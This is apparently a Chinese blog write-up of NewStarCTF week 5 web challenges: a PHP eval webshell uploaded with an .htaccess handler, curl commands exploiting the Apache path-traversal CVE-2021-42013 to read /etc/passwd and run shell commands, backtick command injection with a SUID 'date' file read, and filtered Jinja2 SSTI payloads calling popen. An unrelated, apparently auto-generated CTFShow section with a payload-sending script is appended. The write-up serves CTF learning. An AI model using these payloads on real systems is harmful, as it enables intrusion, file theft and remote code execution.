NewStarCTF week5 web 部分题解

本文详细记录了一位新手在CTF挑战中的学习和实践过程,涉及文件上传漏洞利用、Apache HTTP Server的路径遍历与文件泄露漏洞(CVE-2021-42013)以及Python SSTI模板注入的解决方法。通过上传特制文件、查找并利用系统函数以及模板注入的payload,逐步揭示并获取flag。同时,作者分享了学习资源和参考链接,鼓励大家深入学习和实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Give me your photo PLZ

一个简单的文件上传题目
先上传shell.jpg文件,该文件中的内容为

<?php
eval($_POST['shell']);
?>

在这里插入图片描述
然后上传.htaccess文件,其文件内容为

SetHandler application/x-httpd-php
AddType applicaton/x-httpd-php .jpg

其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错
在这里插入图片描述
检查一下是否上传成功
在这里插入图片描述
上传成功,然后搜索disable_functions看一下那个函数可以利用,发现system函数没有被禁用,那么就直接拿来利用就可以了。或者直接使用蚁剑进行连接也行。
在这里插入图片描述
那么直接搜索flag就行了
在这里插入图片描述
补充:关于文件上传的路径,可以先F12打开控制台,点击网络,然后上传正常的文件查看文件路径
在这里插入图片描述

Unsafe Apache

说实话我也是菜鸟,这个题目我也是第一次看到,然后到处找类似的题目,但是也没有找到。最后突然想到这个题目的名字不就是提示吗。然后F12打开控制台,查看apache版本
在这里插入图片描述
得到apache版本那么直接去网上找相应的漏洞,以及利用方式。
在这里插入图片描述
这已经很明显了。Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013),然后看利用方式就可以了,至于原理我也不是很懂。原理大家可以去搜索看,我这里直接贴命令

curl -v --path-as-is http://node4.buuoj.cn:27410/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在这里插入图片描述
可见,成功读取到/etc/passwd
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

curl -v --data "echo;ls /" 'http://node4.buuoj.cn:27410/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

在这里插入图片描述
最后就是读取ffffllllaaagggg_cc084c485d这个文件了

curl -v --data "echo;cat /ffffllllaaagggg_cc084c485d" 'http://node4.buuoj.cn:27410/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

在这里插入图片描述
得到flag。

So Baby RCE Again

说实话,这个题目我也是边查边写的,刚学ctf一个多月,接触的题目太少了,菜鸟一个。
题目标题是RCE命令执行,打开题目链接发现shell_exec,虽然没讲过,但大概也能猜出来就是执行命令的函数,那直接就去网上查CTF中有没有类似的题目使用了这个命令。没想到直接查出来了,然后就是看大佬们是怎么利用的,这里我借鉴了末初大佬的文章
在这里插入图片描述
这里我们使用输出重定向将查询的结果输出到指定的文件中。

?cmd=`ls > 1.txt`

在这里插入图片描述
没有任何过滤条件,那就好操作了,直接查看根目录的文件,发现ffll444aaggg文件
在这里插入图片描述
做到这里,我都没想到竟然这么容易吗?果然没想到使用cat读取的时候没有读出来
在这里插入图片描述
一片空白,然后当时就懵了,然后想的是我是不是没有权限,然后使用ls -al查看一下,果然只有root才可以读取该文件
在这里插入图片描述
然后就傻了,什么鬼呀,就在想这个题目这么难的吗,还要提权,没办法继续搜索提权的知识,然后发现可以利用具有suid权限的命令读取文件,我也不记得我看了哪一篇文章,反正就是先利用find / -perm -u=s -type f 2>/dev/null命令查看具有suid权限的命令,然后发现date命令具有suid权限
在这里插入图片描述
然后利用date -f /ffll444aaggg命令以类似报错的方式将文件中的内容读取出来,我现在也不记得我这个命令是在哪里看到的,然后现在搜索一下发现找不到了。。。大家可以去找找看。我记得是在末初的一篇文章中看到的。
-f, --file=日期文件 类似 --date;使用给定<日期文件>,一次处理一行
然后我在Linux操作系统下创建了一个文件,在里面添加了一些数据,发现使用date -f命令可以以报错的方式将里面的内容全部弄出来。大家可以自行尝试一下。
在这里插入图片描述

注意:这里就不能使用输出重定向了,要使用错误重定向 2>,这个我当初没有注意到,然后以为这个命令不能使用,搞了很久才反应过来

?cmd=`date -f /ffll444aaggg 2> 1.txt`

在这里插入图片描述

BabySSTI_Three

看题目PythonSSTI模板注入,又是一个不熟悉的知识点,知道这个但是没有仔细看过,没办法百度吧,正好前几周有类似的SSTI题目,结合看。边学边做,感觉类似于sql注入,都有固定的格式,因为之前一直在sqli-labs学习注入。所以感觉差不多,可能这个题目简单吧,都是利用一个东西只是加了过滤条件。
先看一下是什么模板的SSTI,这里在网上找了一张图(网上讲SSTI都是这张图,这里我就不贴引用链接了,我也不知道到底这个图是哪个大佬搞出来的)
在这里插入图片描述
那么,开始判断
在这里插入图片描述
Jinja2
然后就是继续找资料了。我看到上几周都是这个模板的就直接看上几周那些大佬的wp了。然后过滤的东西就直接去网上找绕过方式,这里我直接贴payload吧

原:?name={{[]['__class__']['__base__']['__subclasses__']}}							# 返回子类的列表 [,,,...]
改:?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()}}

在这里插入图片描述
这里直接使用大佬查询危险函数的脚本,这是大佬链接链接: 脚本链接

import time
 
ktime = time.time()
 
def ssti():
    a = input("输入完整的字符串:")
    global aa
    aa = a.split(",")
    print("-----------------已经处理好了,可以进行查询了-----------------")
    j = chaxuen()
 
def chaxuen():
    global line
    try:
        c = input("输入要查询的字符串:")
        for i, line in enumerate(aa):
            if c in line:
                print("\n该字符串的位置为: " + str(i), line, '\n--------------查询成功-------------')
        if "" in line:
            print("\n没有查询到该字符串\n")
 
    except Exception as e:
        print(e)
 
if __name__ == "__main__":
 
    d = 0
    while d == 0:
        print("<<< 是否开始查询 请输入 yes/no >>>")
        user = input(': ')
 
        while (user != 'yes' and user != 'no'):
            print("输入错误!请重新输入:")
            user = input(":")
 
        if user == "yes":
            e = ssti()
 
        if user == "no":
            print("欢迎下次光临")
            break
 
wtime = time.time()
ss = repr(wtime - ktime)[0:6]
print("本次使用时间:" + str(ss) + "秒")

在这里插入图片描述

?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('ls').read()}}

在这里插入图片描述
由于我也是边学边写的,有一些原理我也不是很懂,所以没办法给大家详细的解释
使用unicode编码进行绕过,给大家推荐一个Unicode在线编码网站链接: Unicode在线编码
这里我们将ls /进行编码

ls /  				--> 			\u006c\u0073\u0020\u002f
?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u006c\u0073

成功读出目录
在这里插入图片描述
然后将cat /flag_in_h3r3_52daad 进行编码,读出这个文件的内容

?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}

在这里插入图片描述
得到flag。

Final round

第五题没写出来,大佬说是盲注,但是我没有找到下手点。

总结

怎么说呢,我感觉这个比赛很好,但是我就写了第一周和第二周和第五周的题目,中间几周没写是因为一些自己的原因,没有坚持下来,唉真的后悔呀。感觉这些题目的知识点对于我这个菜鸟来说非常不错,而且有些题目给了参考链接,但是我没有沉下心来仔细学习那些知识点。最后一周刚开始就写出了文件上传的题目,后面的题目也是边查边写的,不能说这些知识点我都学会了,但是对于这些东西有了一些基础的了解。总体来说还是很不错的,希望这种比赛能多搞几次。本来第五周的wp都不想写的,但是由于一些原因又下定决心写了出来。真的越学到后面越觉的我没见过的东西太多了,一个一个新的东西,让我不断的想放弃,但是我还是要坚持下来,加油,我一定能够坚持下来。

参考链接
https://blog.youkuaiyun.com/solitudi/article/details/107752717
https://blog.youkuaiyun.com/miuzzx/article/details/110220425

https://mochu.blog.youkuaiyun.com/article/details/127152796?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-2-127152796-blog-127259821.pc_relevant_3mothn_strategy_and_data_recovery&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-2-127152796-blog-127259821.pc_relevant_3mothn_strategy_and_data_recovery&utm_relevant_index=3

https://blog.youkuaiyun.com/m0_64815693/article/details/127219551

https://blog.youkuaiyun.com/m0_64815693/article/details/127307656

### CTFShow Web 第34题 解题思路 #### 背景分析 CTFShow 平台中的 Web 类别题目通常涉及漏洞利用、代码审计以及安全防护机制绕过等内容。对于第34题,可以从已知的参考资料中提取关键信息并结合常见 Web 安全挑战的知识来推导解决方案。 #### 已知条件整理 1. **Flag 获取方式** 提供了一个 Flag 的形式 `ctfshow{6626ab77-2eee-4862-9292-a395fdcd0f5d}`[^1],这表明最终目标是从服务器获取类似的字符串作为答案。 2. **Payload 列表** 给出了多个可能用于文件读取或命令执行的有效载荷 (Payload),例如:`?c=nl${IFS}fla''g.php|| ?c=tac$IFSfla''g.php||` 等[^2]。这些 Payload 主要针对文件路径操作和命令拼接漏洞设计。 3. **源码逻辑** 题目提供了部分 PHP 源码片段,其中包含正则表达式过滤输入变量 `$c` 的功能,并通过 `eval()` 执行未被匹配到敏感关键字的内容[^3]。此实现存在严重的安全隐患,因为尽管进行了简单的关键词屏蔽,但仍可通过多种手段绕过限制。 4. **辅助工具应用** 建议使用 Burp Suite 进行请求拦截与修改,在 POST 请求体中注入自定义 PHP 代码以完成特定任务[^4]。 #### 技术细节探讨 基于上述背景描述和技术要点,可以推测本题的核心在于发现服务端程序中存在的命令注入或者任意文件读取漏洞,并构造合适的攻击向量达成目的: 1. **命令注入风险评估** - 输入参数 `$c` 尽管经过了正则校验 (`preg_match`) 来阻止某些危险字符组合,但由于采用了宽松模式 `/i`(忽略大小写),仍有可能找到替代方法规避检测。 - 结合提供的 Payload 清单尝试替换掉黑名单内的词汇,比如用 `${IFS}` 替代空格符号从而形成合法 shell command string。 2. **Eval 函数滥用隐患** - 当用户提交的数据成功避开所有预设规则之后会被直接送入 `eval()` 方法运行,这就赋予了攻击者极大的权限去操控整个脚本环境。 - 可考虑上传恶意脚本或将远程访问指令嵌套至允许范围内再触发其生效过程。 3. **实际测试流程建议** - 启动浏览器插件如 Burp Proxy Capture 流量数据包; - 修改 GET/POST 参数值为精心准备过的 exploit strings; - 观察返回结果直至定位到存储 flag 文件的确切位置为止; 以下是模拟使用的 Python 脚本来帮助自动化发送定制化 HTTP 请求的一个例子: ```python import requests url = 'http://example.com/vulnerable_page' payloads = [ "?c=nl${IFS}/flag.php", "?c=tac${IFS}/flag.php" ] for payload in payloads: response = requests.get(url + payload) if "ctfshow{" in response.text: print(f"[+] Found FLAG: {response.text.split('ctfshow{')[1].split('}')[0]}") break ``` #### 注意事项提醒 务必遵循比赛规定仅限于学习交流用途,请勿非法入侵任何真实系统! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值